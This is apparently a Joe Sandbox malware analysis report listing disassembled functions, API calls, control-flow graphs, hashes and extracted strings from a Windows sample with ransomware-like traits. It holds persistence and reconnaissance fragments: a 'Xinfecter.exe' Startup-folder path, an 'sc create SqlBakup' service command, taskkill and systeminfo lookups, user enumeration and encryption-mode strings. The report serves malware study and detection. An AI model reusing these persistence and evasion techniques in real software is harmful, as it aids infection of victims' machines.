                                          • Instruction Fuzzy Hash: F851D231A14609EFDB18CFA8CC85AADB7B5FF45310F588229E809D728AE731DD55CB60
                                          Function 00874CC0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON
                                          Download Yara Rule
                                          APIs
                                          • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00000000,?,?,707A716D), ref: 00874D25
                                          • NetApiBufferFree.NETAPI32(00000000), ref: 00874DC6
                                          • NetApiBufferFree.NETAPI32(00000000), ref: 00874DE2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: BufferFree$EnumUser
                                          • String ID: Default$mqzp
                                          • API String ID: 2592758740-3945538501
                                          • Opcode ID: 41fc642e20186d797599a9da972cac42e80f967bc122b2b98f32c969e8d1dffc
                                          • Instruction ID: 0e27f71689c236dcd2ad05104e11bd022edf2772f499cdd70676b8680b58636e
                                          • Opcode Fuzzy Hash: 41fc642e20186d797599a9da972cac42e80f967bc122b2b98f32c969e8d1dffc
                                          • Instruction Fuzzy Hash: 314163759042199BCB24DF99C894FEEBBF8FB48314F14822ED816B7294D735A904CB90
                                          Function 008C5080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91encryptionCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CryptGenRandom.ADVAPI32(00000000,?,00000000,00000001), ref: 008C5100
                                          • CryptReleaseContext.ADVAPI32(?,00000000), ref: 008C511F
                                            • Part of subcall function 008C4B10: GetLastError.KERNEL32(00000010,707A716D,7568FC30,?), ref: 008C4B60
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008C518A
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Crypt$ContextErrorExceptionException@8LastRaiseRandomReleaseThrow
                                          • String ID: CryptGenRandom$mqzp
                                          • API String ID: 1600773198-1659701854
                                          • Opcode ID: fdcc41aee65f6b3dba67481e275d18d6a69866f3ef7e233bd71b4dd9c4798a55
                                          • Instruction ID: 2f57585cac89e8fc9182efa1ce7576f3fb24fc34efdf13797d3e64d4fbd67d39
                                          • Opcode Fuzzy Hash: fdcc41aee65f6b3dba67481e275d18d6a69866f3ef7e233bd71b4dd9c4798a55
                                          • Instruction Fuzzy Hash: F23192B1904248EFDF10DFA4D859F9EBBB8FF05724F14412DE815AB281DB74AA04CB61
                                          Function 00873EB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 120COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetUserNameW.ADVAPI32(?,?), ref: 00873EF3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: NameUser
                                          • String ID: user$user$mqzp
                                          • API String ID: 2645101109-1962847659
                                          • Opcode ID: b40e8234c2e79ca2d042c13334e23e15bdd9405aad152248fb6c985f8ef5f57c
                                          • Instruction ID: 74a6382c9ddb185ce76536e835dd5ab2d69526214c30cc3f8fa973fc2cfb2539
                                          • Opcode Fuzzy Hash: b40e8234c2e79ca2d042c13334e23e15bdd9405aad152248fb6c985f8ef5f57c
                                          • Instruction Fuzzy Hash: CB417B7191111CABDF24DB68CC98BDDB7B5FB44300F6082D9E509A7294DB38AB84CF51
                                          Function 008C4F70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81encryptionCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 008C4FFA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ContextCryptRelease
                                          • String ID: mqzp
                                          • API String ID: 829835001-955126501
                                          • Opcode ID: 7dbdafd171035b863c4043381a1ddac1c31cfa3f3632ab783ef2d6c40068b288
                                          • Instruction ID: 2af720d659295f0025affa516dfbdf1ed9a366e448930c58b27222d3b2da638f
                                          • Opcode Fuzzy Hash: 7dbdafd171035b863c4043381a1ddac1c31cfa3f3632ab783ef2d6c40068b288
                                          • Instruction Fuzzy Hash: 18219F71A1CA049BDB209F68ED45F2AB3B8F744B14F10022EE905D3B80EB75E940DB91
                                          Function 00861960 Relevance: 1.3, Strings: 1, Instructions: 28COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Crypt$ContextRandomRelease__onexit
                                          • String ID: mqzp
                                          • API String ID: 2784917694-955126501
                                          • Opcode ID: 5fac89b53679023f7a6a0f94671048cb6cbf14c5b7b68f5c930f1ffefc4d1c0c
                                          • Instruction ID: e1d6b1ac44e5b9ee175ff38456dd4af733c0f63dd21e021ecf94c426c9447712
                                          • Opcode Fuzzy Hash: 5fac89b53679023f7a6a0f94671048cb6cbf14c5b7b68f5c930f1ffefc4d1c0c
                                          • Instruction Fuzzy Hash: D1F08CB1A48B48ABC711DBC8DC62F6AB7E4E748B14F040229FA15977C0EA7665008B92
                                          Function 0088C9DC Relevance: 63.5, APIs: 5, Strings: 31, Instructions: 509fileCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 2258 88c9dc 2259 88c9e1-88ca89 call 899830 * 3 2258->2259 2260 88c9dc call 888370 2258->2260 2270 88ca8f-88caa3 2259->2270 2271 88cb82-88cbae call 8687e0 call 891b20 2259->2271 2260->2259 2273 88cae2-88cae5 2270->2273 2274 88caa5-88caa8 2270->2274 2290 88cc70-88cfb2 call 873030 GetModuleFileNameW call 8919c0 call 873eb0 call 873d50 call 891930 call 8649c0 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 8917f0 * 2 CopyFileW call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 8917f0 * 2 CopyFileW call 891800 call 891820 call 89ac60 call 8996d0 call 899d10 call 892220 call 8996d0 call 899d10 call 892220 call 891dc0 call 8687e0 call 892220 call 891dc0 call 8687e0 call 892220 call 891800 call 891820 call 89ac60 call 8996d0 call 899d10 call 892220 call 891dc0 call 8687e0 call 892220 call 884530 call 8687e0 call 891b20 call 891a30 call 8738c0 2271->2290 2291 88cbb4-88cc6b call 891b20 * 2 call 891ac0 call 8997d0 call 899d10 call 892220 * 2 call 891dc0 call 8687e0 call 892220 * 2 2271->2291 2277 88cb22-88cb25 2273->2277 2278 88cae7-88caea 2273->2278 2276 88cab0-88caba 2274->2276 2276->2276 2280 88cabc-88cadd 2276->2280 2282 88cb5d-88cb7c SetErrorMode SetConsoleTitleW call 8760a0 2277->2282 2283 88cb27-88cb2a 2277->2283 2281 88caf0-88cafa 2278->2281 2280->2273 2281->2281 2286 88cafc-88cb1d 2281->2286 2282->2271 2293 88ece5-88ed02 call 8f0d3b 2282->2293 2287 88cb30-88cb3a 2283->2287 2286->2277 2287->2287 2288 88cb3c-88cb59 2287->2288 2288->2282 2414 88cfb4-88cfbb 2290->2414 2415 88d016-88d02b call 876550 * 2 2290->2415 2291->2290 2414->2415 2416 88cfbd-88cfc4 2414->2416 2424 88d02d-88d04c call 876550 * 2 2415->2424 2425 88d052-88d162 call 891800 call 891820 call 89ac60 call 8921f0 call 868ae0 call 891930 call 8649c0 call 891800 call 891820 call 89ac60 call 868ae0 call 89a520 call 891930 call 8649c0 * 2 call 874cc0 call 891a10 2415->2425 2416->2415 2419 88cfc6-88cfd2 call 89b730 2416->2419 2419->2415 2426 88cfd4-88d013 call 891a30 * 2 call 869300 2419->2426 2424->2425 2471 88d164-88d166 2425->2471 2426->2415 2472 88d238-88d275 call 891a30 call 864a20 call 8649c0 2471->2472 2473 88d16c-88d22a call 89a2d0 call 89a3a0 call 89a260 call 891930 call 8649c0 * 3 call 891a30 call 864a20 call 8649c0 2471->2473 2487 88d2f2-88d315 call 89a2d0 2472->2487 2488 88d277-88d2ed call 89a2d0 call 89a3a0 call 89a260 call 891930 call 8649c0 * 3 2472->2488 2473->2472 2540 88d22c-88d233 2473->2540 2496 88d31c-88d350 call 891a30 call 864a20 2487->2496 2497 88d317 call 881700 2487->2497 2488->2487 2512 88d392 2496->2512 2513 88d352-88d390 call 891a30 call 864a20 2496->2513 2497->2496 2518 88d399-88d3a1 2512->2518 2513->2512 2513->2518 2522 88d3bd-88d3df call 8649c0 2518->2522 2523 88d3a3-88d3b7 call 8649c0 2518->2523 2537 88d78b-88d951 call 909100 call 893f40 call 8998c0 call 863730 call 893ed0 call 909100 call 876650 call 8a6400 call 909100 call 88ed10 call 909100 call 88eeb0 call 890990 call 8a2d10 call 890990 call 8a2b40 2522->2537 2538 88d3e5-88d422 call 891a30 call 864a20 call 8649c0 2522->2538 2523->2522 2611 88d957-88d960 2537->2611 2552 88d424-88d431 call 891900 2538->2552 2553 88d436-88d43c 2538->2553 2540->2471 2552->2553 2557 88d440-88d45b call 891a30 call 86af30 2553->2557 2567 88d46d-88d786 call 909100 call 894290 call 891420 call 89b5c0 call 894220 call 892330 * 2 call 891b60 * 2 call 891ac0 call 892270 call 892220 call 891ac0 call 892270 call 892220 call 891b20 * 2 call 891ac0 call 891e20 call 891e40 call 89ad40 call 8918d0 call 891900 call 891b20 * 2 call 891ac0 call 891e20 call 891e40 call 89ad40 call 891900 call 867fe0 call 892270 call 892220 call 8921c0 call 8921f0 call 892220 call 8649c0 call 892220 call 8649c0 call 892220 * 4 call 86ace0 2557->2567 2568 88d45d 2557->2568 2748 88df8e-88dff1 call 909100 call 8676c0 call 8a2320 call 8919c0 call 8915f0 2567->2748 2571 88d45f-88d462 2568->2571 2572 88d464-88d46b Sleep 2568->2572 2571->2567 2571->2572 2572->2557 2611->2611 2613 88d962-88d9ce call 867e30 call 892270 call 892220 call 891ac0 * 2 2611->2613 2636 88d9d0-88d9d9 2613->2636 2636->2636 2638 88d9db-88d9f1 call 8921f0 2636->2638 2643 88d9f7-88da00 2638->2643 2643->2643 2645 88da02-88da21 call 8746c0 2643->2645 2651 88da26-88da2f 2645->2651 2651->2651 2653 88da31-88da6a call 899d60 call 892270 call 892220 2651->2653 2668 88da70-88da79 2653->2668 2668->2668 2670 88da7b-88df85 call 8923a0 call 867e30 call 892270 call 892220 call 909100 call 893f40 call 8996d0 call 899d10 call 899c00 call 863730 call 892220 * 2 call 893ed0 call 891800 call 891820 call 89ac60 call 909100 call 893f40 call 899c20 call 899c00 call 892220 call 899c20 call 899c00 call 892220 call 893ed0 call 8923a0 call 874e20 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 909100 call 894290 call 863730 call 894220 call 891a30 call 8823f0 call 86ace0 call 8649c0 call 892220 * 2 call 86b0a0 call 892220 call 86b0a0 call 892220 * 5 call 867d70 call 876810 * 2 2668->2670 2670->2748 2892 88df89 call 86b0a0 2670->2892 2770 88e003-88e309 call 89a570 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 891930 call 8649c0 * 10 call 892330 call 891dc0 call 915a02 call 892330 call 891dc0 call 915a02 call 89a570 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 891930 call 8649c0 * 8 call 899830 2748->2770 2771 88dff3-88dffe call 8918d0 2748->2771 2923 88e30f-88e320 call 86f630 2770->2923 2924 88e477-88e488 call 899830 2770->2924 2771->2770 2892->2748 2929 88ec04-88ece0 call 8687e0 call 892220 * 3 call 8649c0 call 8678d0 call 8649c0 * 2 call 892220 * 8 call 8649c0 * 3 call 892220 2923->2929 2930 88e326-88e417 call 89a2d0 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 8649c0 * 5 call 8917f0 * 2 call 916146 2923->2930 2931 88e48e-88e803 call 865130 * 2 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 2924->2931 2932 88ebb0-88ebc1 call 899830 2924->2932 2929->2293 3034 88e419-88e460 call 89a400 call 891930 call 8649c0 call 8917f0 * 2 call 916146 2930->3034 3035 88e463-88e472 call 8649c0 2930->3035 3121 88e809-88eb8f call 865130 * 2 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 865240 * 2 2931->3121 3122 88eb94-88ebae call 865240 * 2 2931->3122 2942 88ebf1-88ebfd call 87fce0 2932->2942 2943 88ebc3-88ebd8 call 87e270 * 2 2932->2943 2942->2929 2956 88ebff 2942->2956 2943->2929 2968 88ebda-88ebef call 87e270 * 2 2943->2968 2956->2929 2961 88ebff call 87fce0 2956->2961 2961->2929 2968->2929 3034->3035 3035->2929 3121->3122 3122->2929
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0088CB5F
                                          • SetConsoleTitleW.KERNEL32(asykat), ref: 0088CB6A
                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000400,dcdcf,00000000), ref: 0088CC83
                                          • CopyFileW.KERNEL32(00000000,00000000,00000000,00939E8D,000000FF), ref: 0088CD43
                                          • CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 0088CDBD
                                            • Part of subcall function 00884530: GetCurrentThread.KERNEL32 ref: 00884573
                                            • Part of subcall function 00884530: OpenThreadToken.ADVAPI32(00000000), ref: 0088457A
                                            • Part of subcall function 00884530: GetLastError.KERNEL32 ref: 00884584
                                            • Part of subcall function 00884530: GetCurrentProcess.KERNEL32(0000000A,?), ref: 0088459B
                                            • Part of subcall function 00884530: OpenProcessToken.ADVAPI32(00000000), ref: 008845A2
                                            • Part of subcall function 00884530: DuplicateToken.ADVAPI32(?,00000002,?), ref: 008845B9
                                            • Part of subcall function 00884530: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 008845E4
                                            • Part of subcall function 00884530: LocalAlloc.KERNEL32(00000040,00000014), ref: 008845F6
                                            • Part of subcall function 00884530: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 0088460A
                                            • Part of subcall function 00884530: GetLengthSid.ADVAPI32(?), ref: 0088461B
                                            • Part of subcall function 00884530: LocalAlloc.KERNEL32(00000040,00000010), ref: 00884627
                                            • Part of subcall function 00884530: InitializeAcl.ADVAPI32(00000000,00000010,00000002), ref: 0088463C
                                            • Part of subcall function 00884530: AddAccessAllowedAce.ADVAPI32(?,00000002,00000003,?), ref: 00884654
                                            • Part of subcall function 00884530: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 0088466C
                                            • Part of subcall function 00876550: GlobalMemoryStatusEx.KERNEL32(707A716D), ref: 0087656F
                                            • Part of subcall function 00874CC0: NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00000000,?,?,707A716D), ref: 00874D25
                                            • Part of subcall function 00874CC0: NetApiBufferFree.NETAPI32(00000000), ref: 00874DC6
                                            • Part of subcall function 00874CC0: NetApiBufferFree.NETAPI32(00000000), ref: 00874DE2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: FileInitializeToken$AllocBufferCopyCurrentDescriptorErrorFreeLocalOpenProcessSecurityThread$AccessAllocateAllowedConsoleDaclDuplicateEnumGlobalLastLengthMemoryModeModuleNameStatusTitleUser
                                          • String ID: /f$" start= auto$" start=auto$","$"cmd.exe","$$$$$.GVJ$:\Documents and Settings\$:\Users\$DOEXI$Dflt$Fast$Fast$Manual_Mini_Config$Mini_Config$Version 5.$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe$\AppData\SysMain.sys$\Start Menu\Programs\Startup\Xinfecter.exe$asykat$asykat$c:\R_cfg.ini$dcdcf$user$k2ba8v$r1d8la$sc create SqlBakup binPath= "$taskkill /PID $tasklist /v /fo csv | findstr /i "dcdcf"$ver
                                          • API String ID: 2029459818-206696384
                                          • Opcode ID: 24f8d193f56b4cff4dc2e0d5617ebe1de3be6b465c59b8dbc1368bd0f60d1c1c
                                          • Instruction ID: 2c7d56ed0add501037fd3de22e20b38b9244ec8c00f173ec1dcddf812b173138
                                          • Opcode Fuzzy Hash: 24f8d193f56b4cff4dc2e0d5617ebe1de3be6b465c59b8dbc1368bd0f60d1c1c
                                          • Instruction Fuzzy Hash: 5A22AF709152589ACF25FB68DC56BDEB7A4FF55304F0441E8E40AE3292EB305B88DB63
                                          Function 008823F0 Relevance: 56.2, APIs: 4, Strings: 27, Instructions: 1975COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008760E0: PathIsNetworkPathA.SHLWAPI(?,0095AA9C,?,?,?,707A716D), ref: 00876167
                                            • Part of subcall function 008760E0: __alloca_probe_16.LIBCMT ref: 00876197
                                            • Part of subcall function 008760E0: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,?,?,?,?,?,707A716D), ref: 008761B1
                                            • Part of subcall function 008760E0: GetDiskFreeSpaceExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,707A716D), ref: 008761CC
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00882487
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00882495
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008824C9
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008824D7
                                            • Part of subcall function 00874080: GetComputerNameExW.KERNEL32(00000000,?,?,707A716D,?), ref: 00874101
                                            • Part of subcall function 00874080: DsRoleGetPrimaryDomainInformation.NETAPI32(00000000,00000001,?,?,00000000,?,?,?), ref: 008741A0
                                            • Part of subcall function 0086AE70: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0086AEE1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Path$ByteCharComputerDiskDomainFreeInformationIos_base_dtorMultiNameNetworkPrimaryRoleSpaceWide__alloca_probe_16std::ios_base::_
                                          • String ID: | $ ~$,d5$:\Users\$DOEXI$DOEXI$Microsoft$\AppData\S-inf.sys$_And_Netword_Drive_Size:$_Encryption_Mode:$_Fast_Mode$_Slow_Mode$___$api.ipify.org$echo %date%-%time%$f$hg3l,$user$mqzp$n7t0$o8g9n$p2h6$s4e5y$systeminfo|find /i "original"$systeminfo|find /i "os name"$ver$xS
                                          • API String ID: 586396178-3603848576
                                          • Opcode ID: 0defb4052e90a27a212af0cd3fe688ae7c2cf4fe86f2a24979cbce30fdb34efc
                                          • Instruction ID: 959321ef27d203de7a976d62667194eb302ebd33788bf4934b89d17e24a3ab87
                                          • Opcode Fuzzy Hash: 0defb4052e90a27a212af0cd3fe688ae7c2cf4fe86f2a24979cbce30fdb34efc
                                          • Instruction Fuzzy Hash: D613AD709002589BEF24EB28CD45BEDBBB5FF91304F5481D8E049A7292DB755B88CF92
                                          Function 0092804C Relevance: 34.7, APIs: 23, Instructions: 194processsynchronizationCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 4829 92804c-928058 4830 928072-928076 4829->4830 4831 92805a-92806d call 916133 call 9158a2 4829->4831 4830->4831 4832 928078-92807c 4830->4832 4843 928266-928269 4831->4843 4835 928088-9280ad call 932b43 4832->4835 4836 92807e-928086 call 916120 4832->4836 4844 9280c6-9280fe call 927e09 4835->4844 4845 9280af-9280c4 call 9254d5 * 2 4835->4845 4836->4831 4850 928100-92811e call 9254d5 * 3 4844->4850 4851 928128-92812f 4844->4851 4857 928121-928123 4845->4857 4850->4857 4854 928131-928133 4851->4854 4855 928134-928185 call 916120 call 909100 CreateProcessA 4851->4855 4854->4855 4867 928187-928196 GetLastError call 9160fd 4855->4867 4868 9281ac-9281b2 4855->4868 4861 928264-928265 4857->4861 4861->4843 4879 928198-928199 CloseHandle 4867->4879 4880 92819f-9281a1 4867->4880 4871 92826a-928271 call 911715 4868->4871 4872 9281b8-9281ba 4868->4872 4875 9281f2-9281f5 4872->4875 4876 9281bc-9281d9 WaitForSingleObject GetExitCodeProcess 4872->4876 4877 928233-928235 4875->4877 4878 9281f7-9281f9 4875->4878 4882 9281e2-9281e4 4876->4882 4883 9281db-9281dc CloseHandle 4876->4883 4888 928237-928238 CloseHandle 4877->4888 4889 92823e-92825e call 9254d5 * 3 4877->4889 4884 928202-928204 4878->4884 4885 9281fb-9281fc CloseHandle 4878->4885 4879->4880 4886 9281a3-9281aa CloseHandle 4880->4886 4887 92820f-928231 call 9254d5 * 3 4880->4887 4890 9281e6-9281e7 CloseHandle 4882->4890 4891 9281ed-9281f0 4882->4891 4883->4882 4892 928206-928207 CloseHandle 4884->4892 4893 92820d 4884->4893 4885->4884 4886->4887 4906 928260-928263 4887->4906 4888->4889 4889->4906 4890->4891 4891->4887 4892->4893 4893->4887 4906->4861
                                          APIs
                                            • Part of subcall function 00932B43: _free.LIBCMT ref: 00932B65
                                          • _free.LIBCMT ref: 009280BD
                                          • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000), ref: 00928177
                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00928187
                                          • __dosmaperr.LIBCMT ref: 0092818E
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00928199
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 009281A4
                                          • WaitForSingleObject.KERNEL32(?,00000000,?,?,?,?,?,00000000,00000000), ref: 009281BE
                                          • GetExitCodeProcess.KERNEL32(?,?), ref: 009281CB
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 009281DC
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 009281E7
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 009281FC
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00928207
                                          • _free.LIBCMT ref: 00928212
                                          • _free.LIBCMT ref: 0092821E
                                          • _free.LIBCMT ref: 0092822A
                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00928238
                                          • _free.LIBCMT ref: 009280B2
                                            • Part of subcall function 009254D5: HeapFree.KERNEL32(00000000,00000000,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?), ref: 009254EB
                                            • Part of subcall function 009254D5: GetLastError.KERNEL32(?,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?,?), ref: 009254FD
                                          • _free.LIBCMT ref: 00928103
